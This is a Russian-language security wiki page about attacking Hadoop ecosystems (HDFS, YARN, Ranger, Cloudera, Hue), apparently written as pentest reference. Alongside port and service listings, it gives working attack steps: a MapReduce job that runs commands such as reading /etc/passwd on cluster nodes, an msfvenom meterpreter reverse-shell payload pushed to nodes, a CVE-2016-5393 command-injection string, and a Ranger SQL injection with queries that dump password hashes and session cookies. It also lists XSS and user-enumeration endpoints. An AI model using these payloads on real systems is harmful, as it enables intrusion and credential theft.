Hadoop

Материал из InformationSecurity WIKI
Версия от 10:47, 3 сентября 2022; Drakylar (обсуждение | вклад) (MasterNode WebUI)

Перейти к: навигация, поиск

Содержание

Общее

Получение конфига

Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.

Сервисы

WebUI

Для этого требуется перейти на один из следующих веб серверов на страницу /conf:

  • HDFS WebUI (много потов)
  • JobHistory (19888, 19890) - в приоритете
  • ResourceManager (8088, 8090)

. . .

Уязвимости

Иногда конфиг можно скачать используя уязвимости ПО.

Cloudera Manager

Конфиг будет доступен по следующему адресу:

http://<cloudera_mgr_ip>:7180/cmf/services/<service_id_to_iterate>/client-config

service_id_to_iterate - можно получить перебором 0-100(или больше).

Автоматически

HadoopSnooper

https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/hadoopsnooper.py

Позволяет скачать файлы конфига:

python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020


Аутентификация

По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.

Шифрование

По-умолчанию отключено для передачи (in-transit) и хранения (at-rest).

NameNode

Для общения с NameNode могут быть использованы следующие механизмы аутентификации:

- GSS-API

- Digest-MD5

Web Apps

Как правило, используется SSL/TLS.


DataNodes

Шифрование может быть на 2 уровнях:

1. обмен ключами используя 3DES или RC4

2. Шифрование используя AES 128(default)/192/256.

At-rest

Означает хранилище файлов. Если кратко:

  • Данные шифруются DEK-ключем (Data Encryption Key)
  • DEK зашифрован ключем EZ (Encryption Zone) -> EDEK (Encrypted Data Encryption Key)


Обратный процесс:

  • EDEK запрашивается у NameNode
  • Запрашиваем KMS расшифровать EDEK - получаем DEK
  • Расшифровываем или зашифровываем данные с DEK.


Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.

Поиск сервисов

nmap

nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop* or *hbase* or *flum*" АДРЕСА

Общие атаки

Node RCE

Для этого требуется получить конфиг и настроить hadoop cli.

path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar

Создаем задачу MapReduce:

 hadoop jar <path_to_hadoop_streaming.jar> \
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "/bin/cat /etc/passwd" \
-reducer NONE

Читаем результат команды:

hadoop fs –ls /output_directory_on_HDFS
hadoop fs –cat /output_directory_on_HDFS/part-00000

Также результат команды можно увидеть в WebUI в консоли созданной задачи.

Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.


Бонус: эксплоит можно сгенерировать с msfvenom:

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload

hadoop jar <path_to_hadoop_streaming.jar>
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "./msf.payload" \
-reducer NONE \
-file msf.payload \
-background

RCE - CVE-2016-5393

Уязвимая версия: Hadoop 2.6.x < 2.6.5 and 2.7.x < 2.7.3

Требования: должен быть авторизован и у кластера должны быть включены параметры "org.apache.hadoop.security.ShellBasedUnixGroupsMapping" и "hadoop.security.group.mapping" (конфиг core-site.xml)


Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в "bash -c":

hdfs groups '$(ping 127.0.0.1)'

Второй вариант - через WebHDFS. Но для этого требуется "Simple Auth":

.../?user.name=$(ping+127.0.0.1)


Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user

HDFS

HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.

Сервисы

MasterNode (NameNode) WebUI

Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.

Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).

MasterNode Metadata Service

Использует протокол IPC на портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.

Команды для взаимодействия:

# Получение списка файлов (и их метадаты)
hadoop fs -ls /tmp

DataNode WebUI

Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.

Доступно по пути /browseDirectory.jsp


hdfsbrowser.py

Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :

# В скрипте также можно указать порт, протокол
python hdfsbrowser.py 10.10.10.10

Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.

hadoop cli

Для получения списка файлов требуется в переменной окружения "HADOOP_USER_NAME" указать нужного пользователя, например, root или hbase:

export HADOOP_USER_NAME=hbase
hadoop fs -ls /hbase
hadoop fs –cat /output_directory_on_HDFS/part-00000

Для этого может потребоваться конфиг hadoop (в основной главе)

DataNode Data Transfer

Сервис для передачи данных в DataNode. Использует порт 50010


# Отправить файл на HDFS
hadoop fs -put <localfile> <remotedst>

DataNode Metadata Service

Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.


Secondary Node Checkpoint Service

Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).

YARN

Интерфейсы (сервисы)

Application Manager

Порт(tcp): 8032

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.address

Scheduler

Порт(tcp): 8030

Протокол: http

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.scheduler.address

ResourceManager Web Application

Порт(tcp): 8088, 8090

Протокол: http(8088), https(8090)

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address

ResourceManager Tracker

Порт(tcp): 8031

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.resource-tracker.address


ResourceManager Admin

Порт(tcp): 8033

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.resourcemanager.admin.address

NodeManager СontainerManager

Порт(tcp): 0

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.address

NodeManager Localizer

Порт(tcp): 8040

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.localizer.address

NodeManager Collector Service

Порт(tcp): 8048

Протокол: ??? (IPC)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.collector-service.address

NodeManager WebUI

Порт(tcp): 8042, 8044

Протокол: http(8042), https(8044)

Аутентификация: ???

Параметр в конфиге: yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address

NodeManager Timeline RPC

Порт(tcp): 10200

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.address

NodeManager Timeline WebUI

Порт(tcp): 8188, 8190

Протокол: http(8188), https(8190)

Аутентификация: ???

Параметр в конфиге: yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address

SharedCacheManager Admin

Порт(tcp): 8047

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.admin.address

SharedCacheManager WebUI

Порт(tcp): 8788

Протокол: ???(http)

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.webapp.address

SharedCacheManager Node Manager

Порт(tcp): 8046

Протокол: ???

Аутентификация: ???

Параметр в конфиге: yarn.sharedcache.uploader.server.address

SharedCacheManager Client

Порт(tcp): 8045

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.sharedcache.client-server.address

NodeManager AMRMProxyService

Порт(tcp): 8049

Протокол: ???

Аутентификация: ???

Параметр в конфиге : yarn.nodemanager.amrmproxy.address

Router WebUI

Порт(tcp): 8089, 8091

Протокол: http(8089), https(8091)

Аутентификация: ???

Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address

HttpFS (Hadoop HDFS over HTTP)

Порт(tcp): 14000, 14001

Протокол: http(14000), 14001(https)

Аутентификация: ???

Apache HBASE

ZooKeeper

Apache Ambari

Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.

Из интересного:

- Все могут авторизоваться (даже стандартные юзеры)

- Нет защиты (directory listing, no cookie flags, no CSRF)

- CVE-2015-1775 - /logs/ логи


Сервисы

WebUI

Общение по протоколу http (порт 8080) и https (порт 8440).

Registration/Heartbeat

Общение по протоколу https на порту 8441.

Agent

Порт 8670/tcp используется для Ping.

Apache Spark

Apache Kafka/Storm

Apache HIVE / DRILL

Mahout

Apache Solr / Lucene

Apache Ranger

Компонент безопасности Hadoop с открытым исходным кодом.

Из интересного:

- Поддержка Kerberos

- REST API

- Журналы аудита

- Модель разрешений на основе политики доступа (политики, юзеры, группы)


Интересные ИБ-проблемы:

- Slow HTTP DOS

- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)

- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий

- CVE-2015-0265 - XSS в UserAgent


TODO: изучить как работает


https://ranger.apache.org/apidocs/index.html - API документация

Сервисы

Admin WebUI

Порт: 6080, 6182

Протокол: http(6180),https(6182)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

Уязвимости

  • Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)
/service/plugins/policies/download/<policy_name>

Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download

  • CVE-2016-2174 - SQL injection.
/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1

# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3

# post-exploitation: скачать сессии(куки) пользователей):
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3

Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection

UNIX Auth Service

Порт: 5151

Протокол: SSL/TCP

Параметр конфига: ranger.usersync.port

Ranger KMS

Порт: 9292, 9293

Протокол: http(9292), https(9293)

Параметр конфига: ranger.service.http.port, ranger.service.https.port

Solr Audit

Порт: 6083, 6183

Протокол: http(6083), https(6183)

Параметр конфига: ranger-admin (???)

OOZIE

Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.

Сервисы

Web Console

Порт: 11000, 11443

Протокол: HTTP(11000), HTTPS(11443)


= Admin service

Порт: 11001

Протокол: ???

PIG

Apache Hue

Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP.

В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.

MapReduce

Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера

Сервисы

Jobhistory

Порт: 10020

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.address

JobTracker

Порт: 8021

Протокол: IPC

Аутентификация: ???

Параметр конфига: mapred.job.tracker


Доступно только в MapReduce v1

JobTracker WebUI

Порт: 50030

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.job.tracker.http.address


Доступно только в MapReduce v1

Jobhistory WebUI

Порт: 19888, 19890

Протокол: HTTP(19888), HTTPS(19890)

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address

Доступен только в MapReduce v2

Jobhistory Shufflee

Порт: 13562

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.shuffle.port

Jobhistory Shufflee WebUI

Порт: 19890

Протокол: HTTPS

Аутентификация: ???

Параметр конфига: mapreduce.jobhistory.webapp.https.address


TaskTracker WebUI

Порт: 50060

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapred.task.tracker.http.address



Доступно только в MapReduce v1


History Server WebUI

Порт: 51111

Протокол: HTTP

Аутентификация: ???

Параметр конфига: mapreduce.history.server.http.address

Cloudera

Экосистема Hadoop от компании Cloudera

Сервисы

HUE

Работает на порту 8888 по протоколу HTTP.

Уязвимости

  • CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):
/desktop/api/users/autocomplete


  • CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.


  • Open redirect (версия меньше или равна 3.9.0).
/accounts/login/?next=//[domain_name]

Manager

Работает на порту 7180(http) и 7183(https).

Уязвимости

  • Получение списка пользователей (версия меньше или равна 5.5)
/api/v1/users


  • Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):
/api/v1/users/sessions


  • Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):
/cmf/process/<process_id>/logs?filename={stderr,stdout}.log


  • CVE-2016-4948 - Stored XSS (версия меньше или равна 5.5)


  • CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):
/cmf/cloudera-director/redirect?classicWizard=[XSS]&clusterid=1

Утилиты

Hadoop Attack Library

https://github.com/wavestone-cdt/hadoop-attack-library

hadoopsnooper.py

https://github.com/wavestone-cdt/hadoop-attack-library/blob/master/Tools%20Techniques%20and%20Procedures/Getting%20the%20target%20environment%20configuration/


Скрипт для получения конфига hadoop

python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020

hdfsbrowser.py

https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake

Скрипт для рааботы с WebHDFS. В скрипте также можно указать порт, протокол

python hdfsbrowser.py 10.10.10.10

Ссылки

Видео

Статьи

Презентации

https://2015.zeronights.org/assets/files/03-Kaluzny.pdf

https://2016.zeronights.ru/wp-content/uploads/2016/12/Wavestone-ZeroNights-2016-Hadoop-safari-Hunting-for-vulnerabilities-v1.0.pdf